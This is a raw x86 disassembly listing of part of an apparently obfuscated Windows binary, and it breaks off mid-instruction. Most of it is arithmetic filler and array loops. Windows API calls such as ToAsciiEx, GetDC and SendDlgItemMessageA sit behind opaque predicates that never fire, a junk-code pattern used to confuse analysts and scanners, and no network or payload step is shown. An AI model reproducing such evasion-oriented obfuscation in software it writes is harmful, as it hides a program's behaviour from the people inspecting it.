mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x948], 0x71ebdc59
mov dword [ebp - 0x3cc], 0
jmp 0x437129
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 3
jge 0x437145
mov eax, dword [ebp - 0x3cc]
mov dword [ebp + eax*4 - 0x1704], 0x42575e7e
jmp 0x43711c
mov dword [ebp - 0x44], 0
jmp 0x437155
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 6
jle 0x43768b
mov dword [ebp - 0x80], 3
push 2
lea ecx, [ebp - 0x16c8]
call fcn.004016e3
mov dword [ebp - 0x90], 0xaf3922cb
mov dword [ebp - 0x4c4], 0
jmp 0x437196
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 2
jge 0x4371b8
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x16c8]
call fcn.004012f8
mov dword [eax], 1
jmp 0x437189
mov dword [ebp - 0x80], 0
jmp 0x4371c8
cmp dword [ebp - 0x80], 0xfffffffe
jle 0x43767b
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x6c4], 0xffffffff
mov dword [ebp - 0x74], 0xd1d8475
mov dword [ebp - 0x11c0], 2
mov dword [ebp - 0x3d4], 0
jmp 0x437210
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 1
jge 0x43722c
mov eax, dword [ebp - 0x3d4]
mov dword [ebp + eax*4 - 0x930], 0xd35da2a0
jmp 0x437203
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1994], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x8f8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8f8]
mov dword [ebp + eax - 0x930], ecx
cmp dword [ebp - 0x8f8], 0xffffffff
jle 0x437266
mov dword [ebp - 0xd00], 1
jmp 0x43726d
and dword [ebp - 0xd00], 0
mov eax, dword [ebp - 0xd00]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x74], eax
jne 0x437296
mov dword [ebp - 0x900], 1
jmp 0x43729d
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x900]
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0x10b4], eax
push 0
lea ecx, [ebp - 0x16c8]
call fcn.004012f8
mov ecx, dword [ebp - 0x10b4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x10b4], eax
jl 0x4372df
lea ecx, [ebp - 0x16c8]
call fcn.004017b5
jmp 0x43714e
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1704], 0x2e653d3a
mov dword [ebp - 0x308], 6
mov dword [ebp - 0x3dc], 0
jmp 0x4376bf
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 1
jge 0x4376db
mov eax, dword [ebp - 0x3dc]
mov dword [ebp + eax*4 - 0x1470], 1
jmp 0x4376b2
mov byte [ebp - 0x154], 0
movzx eax, byte [ebp - 0x154]
test eax, eax
je 0x437705
push 0
push 0x12
push 0
push 0
push 0xb19
push 0x1906
call dword [sym.imp.USER32.dll_ToAsciiEx]
mov dword [ebp - 0x308], 0
jmp 0x43771e
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jge 0x43773a
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0x1470], 0xade19d29
jmp 0x437711
mov dword [ebp - 0x4cc], 0
jmp 0x437753
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 2
jge 0x437775
push dword [ebp - 0x4cc]
lea ecx, [ebp - 0x1764]
call fcn.004012f8
mov dword [eax], 0x3b16aac8
jmp 0x437746
push dword [ebp - 0x38]
lea ecx, [ebp - 0x1184]
call fcn.004012f8
cmp dword [eax], 0
je 0x4377ab
push 0
lea ecx, [ebp - 0x1184]
call fcn.004012f8
mov ecx, dword [ebp - 0x2c8]
cmp dword [eax], ecx
jle 0x4377ab
and dword [ebp - 0x950], 0
push 0
lea ecx, [ebp - 0x1764]
call fcn.004012f8
mov ecx, dword [ebp - 0x950]
mov dword [eax], ecx
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x1018], 0x71ebdc59
mov dword [ebp - 0x3e4], 0
jmp 0x4377f1
jmp 0x438900
mov dword [ebp - 0x60], 8
mov dword [ebp - 0x13a8], 2
mov dword [ebp - 0x1a3c], 1
mov dword [ebp - 0x1654], 0xfffffffa
mov dword [ebp - 0x1650], 0xfffffffa
mov dword [ebp - 0x164c], 0xfffffffa
mov dword [ebp - 0x1648], 0xfffffffa
lea ecx, [ebp - 0x6e5]
call fcn.004017d1
push eax
lea eax, [ebp - 0x1644]
push eax
lea eax, [ebp - 0x1654]
push eax
lea ecx, [ebp - 0x1e8c]
call fcn.004017d4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1df4]
call fcn.0040178f
mov dword [ebp - 0xd68], 0xdd79339b
mov dword [ebp - 0x60], 0
jmp 0x438771
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xfffffff8
jne 0x4388d2
mov dword [ebp - 0x230], 0xfda0e60f
push 2
lea ecx, [ebp - 0x1560]
call fcn.004016e3
mov dword [ebp - 0x4ec], 0
jmp 0x4387ab
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 2
jge 0x4387cd
push dword [ebp - 0x4ec]
lea ecx, [ebp - 0x1560]
call fcn.004012f8
mov dword [eax], 0xfff7
jmp 0x43879e
mov dword [ebp - 0x230], 0xffffffe3
jmp 0x4387e6
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0xb
jg 0x4388c2
cmp dword [ebp - 0x60], 0
je 0x438810
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x230], eax
jne 0x438810
mov dword [ebp - 0x1480], 1
jmp 0x438817
and dword [ebp - 0x1480], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1a44], eax
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x60], eax
je 0x438837
mov dword [ebp - 0x1048], 1
jmp 0x43883e
and dword [ebp - 0x1048], 0
cmp dword [ebp - 0x1048], 0x5358
je 0x438856
mov dword [ebp - 0x11e8], 1
jmp 0x43885d
and dword [ebp - 0x11e8], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1a4c], eax
push 1
lea ecx, [ebp - 0x1560]
call fcn.004012f8
imul eax, dword [eax], 0x471d
cmp eax, dword [ebp - 0x60]
je 0x43888a
mov dword [ebp - 0x9c8], 1
jmp 0x438891
and dword [ebp - 0x9c8], 0
cmp dword [ebp - 0x9c8], 0x8ecb302
jl 0x4388aa
push 0
lea ecx, [ebp - 0x1560]
call fcn.004012f8
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1a54], eax
mov dword [ebp - 0x13a8], 0xcf041577
jmp 0x4387d9
lea ecx, [ebp - 0x1560]
call fcn.004017b5
jmp 0x43876a
mov eax, dword [ebp - 0xd68]
dec eax
mov dword [ebp - 0xd68], eax
lea ecx, [ebp - 0x1df4]
call fcn.004017b5
mov dword [ebp - 0x9d0], 0xfffffffa
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x9d0], eax
push 4
lea ecx, [ebp - 0x1148]
call fcn.004016e3
push 3
lea ecx, [ebp - 0x36c]
call fcn.004016e3
mov dword [ebp - 0x9d8], 0xffffffff
mov dword [ebp - 0xd70], 1
mov dword [ebp - 0xc4], 0
jmp 0x438947
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 4
jge 0x438966
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x1148]
call fcn.004012f8
or dword [eax], 0xffffffff
jmp 0x43893a
mov dword [ebp - 0xc4], 0
jmp 0x43897f
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jge 0x4389a1
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov dword [eax], 8
jmp 0x438972
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov dword [eax], 3
jmp 0x4389da
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov dword [ebp - 0xf38], eax
mov eax, dword [ebp - 0xf38]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xf38]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
cmp dword [eax], 0
jl 0x438d76
mov dword [ebp - 0x94], 5
push 4
lea ecx, [ebp - 0x140c]
call fcn.004016e3
mov dword [ebp - 0x424], 0
jmp 0x438a20
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 4
jge 0x438a42
push dword [ebp - 0x424]
lea ecx, [ebp - 0x140c]
call fcn.004012f8
mov dword [eax], 0xfffffffe
jmp 0x438a13
mov dword [ebp - 0x94], 3
jmp 0x438a5b
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jl 0x438d1f
mov byte [ebp - 0x160], 0
movzx eax, byte [ebp - 0x160]
test eax, eax
je 0x438a8e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
mov eax, 0xfa42
test eax, eax
je 0x438bc2
push 2
lea ecx, [ebp - 0x140c]
call fcn.004012f8
and dword [eax], 0
mov dword [ebp - 0x9d8], 0
mov esi, dword [ebp - 0x9d8]
push 2
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov edi, eax
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov eax, dword [eax]
sub eax, dword [edi]
sub eax, esi
mov dword [ebp - 0xd70], eax
mov esi, dword [ebp - 0xd70]
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
cmp esi, dword [eax]
jle 0x438b06
mov dword [ebp - 0x9e0], 1
jmp 0x438b0d
and dword [ebp - 0x9e0], 0
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov ecx, dword [ebp - 0x9e0]
cmp ecx, dword [eax]
jge 0x438b30
mov dword [ebp - 0x1020], 1
jmp 0x438b37
and dword [ebp - 0x1020], 0
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
push dword [eax]
lea ecx, [ebp - 0x1148]
call fcn.004012f8
mov eax, dword [eax]
add eax, dword [ebp - 0x1020]
mov dword [ebp - 0x9e8], eax
push 3
lea ecx, [ebp - 0x1148]
call fcn.004012f8
mov ecx, dword [ebp - 0x9e8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x9e8], eax
jl 0x438b8e
mov dword [ebp - 0xd78], 1
jmp 0x438b95
and dword [ebp - 0xd78], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0xd78], eax
jge 0x438baf
mov dword [ebp - 0x9f0], 1
jmp 0x438bb6
and dword [ebp - 0x9f0], 0
cmp dword [ebp - 0x9f0], 0xfbb9cf7d
ja 0x438bed
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
push dword [eax]
lea ecx, [ebp - 0x1148]
call fcn.004012f8
cmp dword [eax], 0
je 0x438bed
mov dword [ebp - 0xf40], 1
jmp 0x438bf4
and dword [ebp - 0xf40], 0
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov ecx, dword [ebp - 0xf40]
cmp ecx, dword [eax]
je 0x438c3d
mov byte [ebp - 0x1fa], 0
movzx eax, byte [ebp - 0x1fa]
test eax, eax
je 0x438c38
push 0
push 0
push 0xcac
push 0x15be
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
jmp 0x438d1a
mov dword [ebp - 0x11f0], 7
mov dword [ebp - 0x1298], 0xc8f9611c
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
push dword [eax]
lea ecx, [ebp - 0x1148]
call fcn.004012f8
push 2
lea ecx, [ebp - 0x140c]
call fcn.004012f8
mov esi, eax
push 0
lea ecx, [ebp - 0x36c]
call fcn.004012f8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x438c99
mov dword [ebp - 0x9f8], 1
jmp 0x438ca0
and dword [ebp - 0x9f8], 0
imul eax, dword [ebp - 0x9f8], 0xfff9
cmp eax, dword [ebp - 0x11f0]
jge 0x438cbe
mov dword [ebp - 0xd80], 1
jmp 0x438cc5
and dword [ebp - 0xd80], 0
push 0
lea ecx, [ebp - 0x140c]
call fcn.004012f8
mov eax, dword [eax]
cmp eax, dword [ebp - 0xd80]
jne 0x438ce8
mov dword [ebp - 0xa00], 1
jmp 0x438cef
and dword [ebp - 0xa00], 0
cmp dword [ebp - 0xa00], 0x6ea3
jl 0x438d07
mov dword [ebp - 0x104c], 1
jmp 0x438d0e
and dword [ebp - 0x104c], 0
mov eax, dword [ebp - 0x104c]
mov dword [ebp - 0x1298], eax
jmp 0x438a4e
mov dword [ebp - 0x94], 0
jmp 0x438d38
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jg 0x438d66
mov byte [ebp - 0x20a], 0
movzx eax, byte [ebp - 0x20a]
test eax, eax
je 0x438d64
push 0
push 1
push 0x99
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
jmp 0x438d2b
lea ecx, [ebp - 0x140c]
call fcn.004017b5
jmp 0x4389b6
lea ecx, [ebp - 0x36c]
call fcn.004017b5
lea ecx, [ebp - 0x1148]
call fcn.004017b5
mov dword [ebp - 0x2e8], 3
jmp 0x438da5
cmp dword [ebp - 0x2e8], 0
jl 0x43936c
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x2e0], 0x9f7fd1e8
mov dword [ebp - 0x554], 0
jmp 0x438ddf
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 4
jge 0x438dfb
mov eax, dword [ebp - 0x554]
mov dword [ebp + eax*4 - 0x1e5c], 1
jmp 0x438dd2
cmp dword [ebp - 0x260], 0xd149febb
jb 0x438e13
mov dword [ebp - 0xa08], 1
jmp 0x438e1a
and dword [ebp - 0xa08], 0
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x260], 0
jmp 0x438e3f
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 3
jg 0x438eab
mov eax, dword [ebp - 0x260]
cmp dword [ebp + eax*4 - 0x1e5c], 0
je 0x438e5a
jmp 0x438eab
mov dword [ebp - 0x2e0], 0
jmp 0x438e73
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 3
jg 0x438ea9
mov byte [ebp - 0x164], 0
movzx eax, byte [ebp - 0x164]
test eax, eax
je 0x438ea7
push 0x21e3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
jmp 0x438e66
jmp 0x438e32
mov dword [ebp - 0x6d8], 0xda314325
push 2
lea ecx, [ebp - 0x1b64]
call fcn.004016e3
mov dword [ebp - 0x4f4], 0xfffffffe
mov dword [ebp - 0x42c], 0
jmp 0x438ee5
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 2
jge 0x438f07
push dword [ebp - 0x42c]
lea ecx, [ebp - 0x1b64]
call fcn.004012f8
mov dword [eax], 8
jmp 0x438ed8
mov dword [ebp - 0x4f4], 0
jmp 0x438f20
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 1
jg 0x438f45
mov byte [ebp - 0x1fc], 0
movzx eax, byte [ebp - 0x1fc]
test eax, eax
je 0x438f43
push 0
call dword [sym.imp.USER32.dll_CharNextW]
jmp 0x438f13
mov byte [ebp - 0x166], 0
movzx eax, byte [ebp - 0x166]
test eax, eax
je 0x438f5d
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea ecx, [ebp - 0x1b64]
call fcn.004017b5
mov dword [ebp - 0xa38], 0x8ac507b3
mov dword [ebp - 0x318], 0xac64a684
and dword [ebp - 0x167c], 0
and dword [ebp - 0x1678], 0
and dword [ebp - 0x1674], 0
and dword [ebp - 0x1670], 0
lea ecx, [ebp - 0x6b2]
call fcn.004017d1
push eax
lea eax, [ebp - 0x166c]
push eax
lea eax, [ebp - 0x167c]
push eax
lea ecx, [ebp - 0x1e9c]
call fcn.004017d4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x141c]
call fcn.0040178f
mov dword [ebp - 0x630], 8
mov dword [ebp - 0x11f8], 0xe708bee
mov dword [ebp - 0x1a5c], 6
mov byte [ebp - 0x206], 0
movzx eax, byte [ebp - 0x206]
test eax, eax
je 0x439013
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
mov dword [ebp - 0x318], 0
jmp 0x43902c
cmp dword [ebp - 0x318], 0xfffffff7
je 0x439245
mov dword [ebp - 0xa18], 0
mov dword [ebp - 0x434], 0
jmp 0x43905c
lea ecx, [ebp - 0x141c]
call fcn.004017b5
cmp dword [ebp - 0x38], 0
jne 0x439268
jmp 0x436577
mov dword [ebp - 0x4fc], 8
mov dword [ebp - 0x1a64], 1
mov dword [ebp - 0x1a6c], 0xfffffff6
mov dword [ebp - 0x1a74], 0x1220985a
mov dword [ebp - 0x1a7c], 0xee41b66b
mov dword [ebp - 0x1a84], 0xb090aec5
mov dword [ebp - 0x43c], 0
jmp 0x4393c6
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 2
jge 0x4393e2
mov eax, dword [ebp - 0x43c]
mov dword [ebp + eax*4 - 0x1e74], 0
jmp 0x4393b9
mov byte [ebp - 0x168], 0
movzx eax, byte [ebp - 0x168]
test eax, eax
je 0x439402
push 0
push 0x73
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov dword [ebp - 0x4fc], 0
jmp 0x43941b
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0
jne 0x4394f1
push 3
lea ecx, [ebp - 0x1b84]
call fcn.004016e3
mov dword [ebp - 0x1a8c], 0
push 1
lea ecx, [ebp - 0x1b74]
call fcn.004016e3
mov dword [ebp - 0xda0], 0xfffffffc
mov dword [ebp - 0x9c], 0
jmp 0x43946f
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x43948e
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x1b84]
call fcn.004012f8
or dword [eax], 0xffffffff
jmp 0x439462
mov dword [ebp - 0x9c], 0
jmp 0x4394a7
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x4394c9
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x1b74]
call fcn.004012f8
mov dword [eax], 0x1b17d72b
jmp 0x43949a
mov eax, dword [ebp - 0xda0]
dec eax
mov dword [ebp - 0xda0], eax
lea ecx, [ebp - 0x1b74]
call fcn.004017b5
lea ecx, [ebp - 0x1b84]
call fcn.004017b5
jmp 0x43940e
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x1184]
call fcn.004017b5
mov dword [ebp - 0x64], 0xe0648261
mov dword [ebp - 0xdc0], 1
mov dword [ebp - 0xa70], 0xffffffff
mov dword [ebp - 0x444], 0
jmp 0x439536
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 2
jge 0x439552
mov eax, dword [ebp - 0x444]
mov dword [ebp + eax*4 - 0x10fc], 0
jmp 0x439529
mov byte [ebp - 0x1fe], 0
movzx eax, byte [ebp - 0x1fe]
test eax, eax
je 0x439571
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x64], 0
jmp 0x439581
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0xfffffffb
jge 0x43999e
mov dword [ebp - 0x180], 0xe662db8e
mov dword [ebp - 0x6a0], 0xfffffffd
mov dword [ebp - 0x1a94], 1
mov dword [ebp - 0x1a9c], 0x2737ae9f
push 1
lea ecx, [ebp - 0x1578]
call fcn.004016e3
mov dword [ebp - 0x1210], 4
mov dword [ebp - 0x55c], 0
jmp 0x4395e3
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 1
jge 0x439605
push dword [ebp - 0x55c]
lea ecx, [ebp - 0x1578]
call fcn.004012f8
mov dword [eax], 0x4860
jmp 0x4395d6
cmp dword [ebp - 0x64], 0
je 0x439906
mov dword [ebp - 0x6cc], 0xfffffff7
mov dword [ebp - 0x640], 0xf5b1b6fd
mov dword [ebp - 0x648], 4
mov dword [ebp - 0xa58], 0xd814
mov dword [ebp - 0x1200], 0x167d3d8e
mov eax, dword [ebp - 0x180]
dec eax
mov dword [ebp - 0x180], eax
imul eax, dword [ebp - 0x180], 0xb8d9
cmp eax, 1
jle 0x439669
mov dword [ebp - 0xa40], 1
jmp 0x439670
and dword [ebp - 0xa40], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x640], eax
mov eax, dword [ebp - 0x640]
cmp dword [ebp - 0xa40], eax
jle 0x439696
mov dword [ebp - 0x1054], 1
jmp 0x43969d
and dword [ebp - 0x1054], 0
mov eax, dword [ebp - 0x6a0]
cmp dword [ebp - 0x1054], eax
jne 0x4396b7
mov dword [ebp - 0xa48], 1
jmp 0x4396be
and dword [ebp - 0xa48], 0
mov eax, dword [ebp - 0x6a0]
imul eax, dword [ebp - 0xa48]
cmp dword [ebp - 0x64], eax
jge 0x4396dc
mov dword [ebp - 0xda8], 1
jmp 0x4396e3
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xda8], eax
je 0x4396fa
mov dword [ebp - 0xa50], 1
jmp 0x439701
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0x6cc]
cmp dword [ebp - 0xa50], eax
jg 0x43971b
mov dword [ebp - 0xf58], 1
jmp 0x439722
and dword [ebp - 0xf58], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xf58], eax
je 0x439739
mov dword [ebp - 0x129c], 1
jmp 0x439740
and dword [ebp - 0x129c], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x1aa4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x10fc]
mov dword [ebp - 0x648], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x10fc], 0
jne 0x4398eb
mov eax, dword [ebp - 0xa58]
dec eax
mov dword [ebp - 0xa58], eax
mov eax, dword [ebp - 0x6a0]
add eax, 0x7c8fa1b4
sub eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0xdc0]
jl 0x43979f
mov dword [ebp - 0xdb0], 1
jmp 0x4397a6
and dword [ebp - 0xdb0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10fc]
add eax, dword [ebp - 0xdb0]
jne 0x4397c2
cmp dword [ebp - 0x1200], 0
imul eax, dword [ebp - 0x640], 0xe43c
test eax, eax
je 0x4397ee
push 0
lea ecx, [ebp - 0x1578]
call fcn.004012f8
cmp dword [eax], 0
je 0x4397ee
mov dword [ebp - 0xa60], 1
jmp 0x4397f5
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xa60], eax
jg 0x43980c
mov dword [ebp - 0x1030], 1
jmp 0x439813
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x6cc]
cmp eax, dword [ebp - 0x1030]
jl 0x43982d
mov dword [ebp - 0xa68], 1
jmp 0x439834
and dword [ebp - 0xa68], 0
cmp dword [ebp - 0xa68], 6
ja 0x439849
mov dword [ebp - 0xdb8], 1
jmp 0x439850
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0xdb8]
mov dword [ebp - 0xa70], eax
cmp dword [ebp - 0xa70], 0
jne 0x439875
push 9
pop eax
test eax, eax
jne 0x439875
and dword [ebp - 0xf60], 0
jmp 0x43987f
mov dword [ebp - 0xf60], 1
cmp dword [ebp - 0xf60], 0xd7276cc7
jbe 0x439897
mov dword [ebp - 0xa78], 1
jmp 0x43989e
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0x648]
imul eax, dword [ebp - 0xa78]
cmp eax, dword [ebp - 0xdc0]
je 0x4398bf
mov dword [ebp - 0x12a4], 1
jmp 0x4398c6
and dword [ebp - 0x12a4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x10fc]
mov dword [ebp - 0x1aac], eax
mov eax, 0x253d5ab8
test eax, eax
jne 0x4398eb
and dword [ebp - 0xa80], 0
jmp 0x4398f5
mov dword [ebp - 0xa80], 1
mov eax, dword [ebp - 0xa80]
mov dword [ebp - 0x648], eax
jmp 0x43998e
mov dword [ebp - 0x1ab4], 4
mov dword [ebp - 0x180], 0
jmp 0x439929
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x17
jg 0x439975
mov dword [ebp - 0x1208], 0x1a2955e3
mov dword [ebp - 0x12ac], 1
cmp dword [ebp - 0x1208], 0
je 0x439960
xor eax, eax
inc eax
je 0x439960
mov dword [ebp - 0x105c], 1
jmp 0x439967
and dword [ebp - 0x105c], 0
mov eax, dword [ebp - 0x105c]
mov dword [ebp - 0x12ac], eax
jmp 0x43991c
cmp dword [ebp - 0x1210], 0
je 0x43998e
lea ecx, [ebp - 0x1578]
call fcn.004017b5
jmp 0x43957a
lea ecx, [ebp - 0x1578]
call fcn.004017b5
jmp 0x43957a
push 4
lea ecx, [ebp - 0x700]
call fcn.004016e3
mov dword [ebp - 0x44c], 0x452a26f3
mov dword [ebp - 0x12b4], 0x145b
push 3
lea ecx, [ebp - 0x1590]
call fcn.004016e3
mov dword [ebp - 0x113c], 0x585950cf
mov dword [ebp - 0x1138], 0x585950cf
mov dword [ebp - 0x1134], 0x585950cf
mov dword [ebp - 0x1130], 0x585950cf
mov dword [ebp - 0x28], 0
jmp 0x439a04
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x439a20
push dword [ebp - 0x28]
lea ecx, [ebp - 0x700]
call fcn.004012f8
mov dword [eax], 0x871c
jmp 0x4399fd
mov dword [ebp - 0x28], 0
jmp 0x439a30
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x439a46
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1b94], 0
jmp 0x439a29
mov dword [ebp - 0x28], 0
jmp 0x439a56
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x439a72
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1590]
call fcn.004012f8
mov dword [eax], 0x8112def9
jmp 0x439a4f
push 3
lea ecx, [ebp - 0x700]
call fcn.004012f8
cmp dword [eax], 0
jne 0x439b7a
push 3
lea ecx, [ebp - 0x700]
call fcn.004012f8
cmp dword [eax], 0
jne 0x439b32
push 3
lea ecx, [ebp - 0x700]
call fcn.004012f8
mov eax, dword [eax]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0x7e2f9d44
jl 0x439acb
mov dword [ebp - 0xa88], 1
jmp 0x439ad2
and dword [ebp - 0xa88], 0
push 1
lea ecx, [ebp - 0x700]
call fcn.004012f8
mov ecx, dword [ebp - 0xa88]
cmp ecx, dword [eax]
jne 0x439af5
mov dword [ebp - 0xdc8], 1
jmp 0x439afc
and dword [ebp - 0xdc8], 0
cmp dword [ebp - 0xdc8], 0xb3bfa32a
jb 0x439b14
mov dword [ebp - 0xa90], 1
jmp 0x439b1b
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0x12b4]
cmp dword [ebp - 0xa90], eax
jge 0x439b32
and dword [ebp - 0xf68], 0
jmp 0x439b3c
mov dword [ebp - 0xf68], 1
push 2
lea ecx, [ebp - 0x700]
call fcn.004012f8
mov esi, dword [eax]
imul esi, dword [ebp - 0xf68]
push 1
lea ecx, [ebp - 0x700]
call fcn.004012f8
add esi, dword [eax]
mov dword [ebp - 0xa98], esi
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa98]
